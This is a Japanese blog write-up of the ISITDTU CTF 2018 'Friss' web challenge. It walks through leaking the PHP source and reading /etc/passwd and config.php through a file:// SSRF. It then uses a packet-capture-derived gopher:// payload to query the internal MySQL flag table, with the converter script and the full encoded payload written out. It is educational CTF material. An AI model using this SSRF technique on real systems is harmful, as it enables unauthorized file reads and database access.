こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

ISITDTU CTF 2018 - Friss

問題文

http://35.185.178.212/

f:id:graneed:20180728190409p:plain

writeup

Stage1

適当なURLを入力しても、Only access to localhostと弾かれる。

ソースを確認すると、末尾に以下のコメント文を発見。
<!-- index.php?debug=1-->

http://35.190.142.60/index.php?debug=1にアクセスするとPHPソースを入手できた。

<?php 
include_once "config.php"; 
if (isset($_POST['url'])&&!empty($_POST['url'])) 
{ 
    $url = $_POST['url']; 
    $content_url = getUrlContent($url); 
} 
else 
{ 
    $content_url = ""; 
} 
if(isset($_GET['debug'])) 
{ 
    show_source(__FILE__); 
} 


?> 

getUrlContentの実装はわからない。
config.phpにて実装されているのだろう。

Stage2

いくつか入力を試していると、fileスキーマを指定することでローカルファイルにアクセスできた。

root@kali:Friss# curl http://35.190.142.60/ -s --data-urlencode "url=file://localhost/etc/passwd"
<!DOCTYPE html>
<html lang="en-US">
<head><title>REQUESTS PAGE</title>
</head>

<body>

curl 'file://localhost/etc/passwd'
<form action="index.php" method="POST">
<input name="url" type="text">
<input type="submit" value="CURL">
</form>


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
(snip)
binhhuynhvanquoc:x:1001:1002::/home/binhhuynhvanquoc:/bin/bash
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
</body>
(snip)
<!-- index.php?debug=1-->

mysqlユーザが存在することがわかる。

次に、includeしているconfig.phpを確認する。

root@kali:Friss# curl http://35.190.142.60/ -s --data-urlencode "url=file://localhost/var/www/html/config.php"
<!DOCTYPE html>
<html lang="en-US">
<head><title>REQUESTS PAGE</title>
</head>

<body>

curl 'file://localhost/var/www/html/config.php'
<form action="index.php" method="POST">
<input name="url" type="text">
<input type="submit" value="CURL">
</form>


<?php


$hosts = "localhost";
$dbusername = "ssrf_user";
$dbpasswd = "";
$dbname = "ssrf";
$dbport = 3306;

$conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport);

function initdb($conn)
{
    $dbinit = "create table if not exists flag(secret varchar(100));";
    if(mysqli_query($conn,$dbinit)) return 1;
    else return 0;
}

function safe($url)
{
    $tmpurl = parse_url($url, PHP_URL_HOST);
    if($tmpurl != "localhost" and $tmpurl != "127.0.0.1")
    {
        var_dump($tmpurl);
        die("<h1>Only access to localhost</h1>");
    }
    return $url;
}

function getUrlContent($url){
    $url = safe($url);
    $url = escapeshellarg($url);
    $pl = "curl ".$url;
    echo $pl;
    $content = shell_exec($pl);
    return $content;
}
initdb($conn);
?>
</body>
(snip)
<!-- index.php?debug=1-->

$dbinit = "create table if not exists flag(secret varchar(100));";より、flagはMySQLのテーブル内にあることがわかる。 また、getUrlContentcurlコマンドを呼んでいることがわかる。

Stage3

curlコマンドでMySQLに接続する方法は、過去のCTFにて出題があったためwriteupを参照する。
CTFWriteUps/README.md at master · reznok/CTFWriteUps · GitHub

他、以下のサイトを参照した。
SSRF To RCE in MySQL | FormSec | 逢魔网络安全实验室

MySQLサーバを立てて、同じDB名、ユーザ名およびテーブル名の環境を用意した上で、DB接続およびSELECT文を発行した際のパケットを採取し、gopherプロトコルの電文に落とし込めば良さそうだ。

1.環境準備

config.phpから得られた情報を元に、DB作成、ユーザ作成、テーブル作成を行う。

root@kali:Friss# mysql -u root
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 2
Server version: 10.1.29-MariaDB-6+b1 Debian buildd-unstable

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> create database ssrf; # DB作成
Query OK, 1 row affected (0.00 sec)

MariaDB [(none)]> connect ssrf # DB接続
Connection id:    3
Current database: ssrf

MariaDB [ssrf]> create table if not exists flag(secret varchar(100)); # テーブル作成
Query OK, 0 rows affected (0.03 sec)

MariaDB [ssrf]> insert into flag(secret) values('this is flag'); # サンプルのレコード追加
Query OK, 1 row affected (0.00 sec)

MariaDB [ssrf]> select * from flag; # 確認
+--------------+
| secret       |
+--------------+
| this is flag |
+--------------+
1 row in set (0.00 sec)

MariaDB [ssrf]> create user ssrf_user; # ユーザ作成
Query OK, 0 rows affected (0.00 sec)

MariaDB [ssrf]> grant all privileges on flag to 'ssrf_user'; # 権限付与
Query OK, 0 rows affected (0.00 sec)
2.テーブル参照プログラム作成

flagテーブルを参照するphpコードを作る。

<?php

$hosts = "127.0.0.1";
$dbusername = "ssrf_user";
$dbpasswd = "";
$dbname = "ssrf";
$dbport = 3306;
$conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport);
$result = mysqli_query($conn,"select * from flag;");
var_dump($result->fetch_all());
mysqli_close($conn);
?>

試しに実行すると、flagテーブルの内容が参照できた。

root@kali:Friss# php Friss.php 
array(1) {
  [0]=>
  array(1) {
    [0]=>
    string(12) "this is flag"
  }
}
3.パケットキャプチャ

パケットキャプチャをスタートする。

root@kali:Friss# tcpdump -i lo -s 0 -w dump.pcap port 3306
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes

オプションの説明を備忘録として記載する。

  • -i lo:ループバックインタフェースも対象にする。
  • -s 0:キャプチャしたパケットを途中で切られないようにする。
  • -w dump.pcap:dump.pcapにファイル出力する。
  • port:MySQLの通信ポートである3306を指定する。

php Friss.phpを実行したあと、Ctrl+Cでキャプチャを停止し、wiresharkでdump.pcapを確認する。 f:id:graneed:20180728185500j:plain

追跡->TCPストリームで送信パケットを確認する。 f:id:graneed:20180728185437j:plain

以下が送信パケット。 1行目が認証パケット、2行目がselect文のパケット、3行目が切断パケットのようだ。

5c0000018da20a00000000c02d0000000000000000000000000000000000000000000000737372665f75736572000073737266006d7973716c5f6e61746976655f70617373776f726400150c5f636c69656e745f6e616d65076d7973716c6e64
140000000373656c656374202a2066726f6d20666c61673b
0100000001
4. gopherプロトコルで送信

以下のサイト内のスクリプトを使用して、gopherプロトコルの送信電文に変換する。

SSRF To RCE in MySQL | FormSec | 逢魔网络安全实验室

#!/usr/bin/dev python
#coding:utf-8

def result(s): 
  a = [s[i:i+2] for i in xrange(0, len(s), 2)] 
  return "curl gopher://127.0.0.1:3306/_%" + "%".join(a)

if __name__ == "__main__": 
  import sys    
  s = sys.argv[1]  
  print result(s)
root@kali:Friss# python convGopher.py 5c0000018da20a00000000c02d0000000000000000000000000000000000000000000000737372665f75736572000073737266006d7973716c5f6e61746976655f70617373776f726400150c5f636c69656e745f6e616d65076d7973716c6e64140000000373656c656374202a2066726f6d20666c61673b0100000001
curl gopher://127.0.0.1:3306/_%5c%00%00%01%8d%a2%0a%00%00%00%00%c0%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%73%73%72%66%5f%75%73%65%72%00%00%73%73%72%66%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%15%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%07%6d%79%73%71%6c%6e%64%14%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%66%6c%61%67%3b%01%00%00%00%01

試しに自サーバに対して実行してみる。

root@kali:Friss# curl gopher://127.0.0.1:3306/_%5c%00%00%01%8d%a2%0a%00%00%00%00%c0%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%73%73%72%66%5f%75%73%65%72%00%00%73%73%72%66%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%15%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%07%6d%79%73%71%6c%6e%64%14%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%66%6c%61%67%3b%01%00%00%00%01 -s | cat
^
5.5.5-10.1.29-MariaDB-6+b10FJ}[/u%S��-?�R%[~*R>}~~"*mysql_native_password.defssrfflagflagsecretsecret
                                                                                                                  -���"
 this is flag�"r

自サーバのflagテーブルのレコードを取得できた!

いよいよ問題サーバに投入する。
せっかくなので画面で入力してみる。 f:id:graneed:20180728190215p:plain

ISITDTU{JUST_4_SSrF_B4B3!!}
フラグゲット!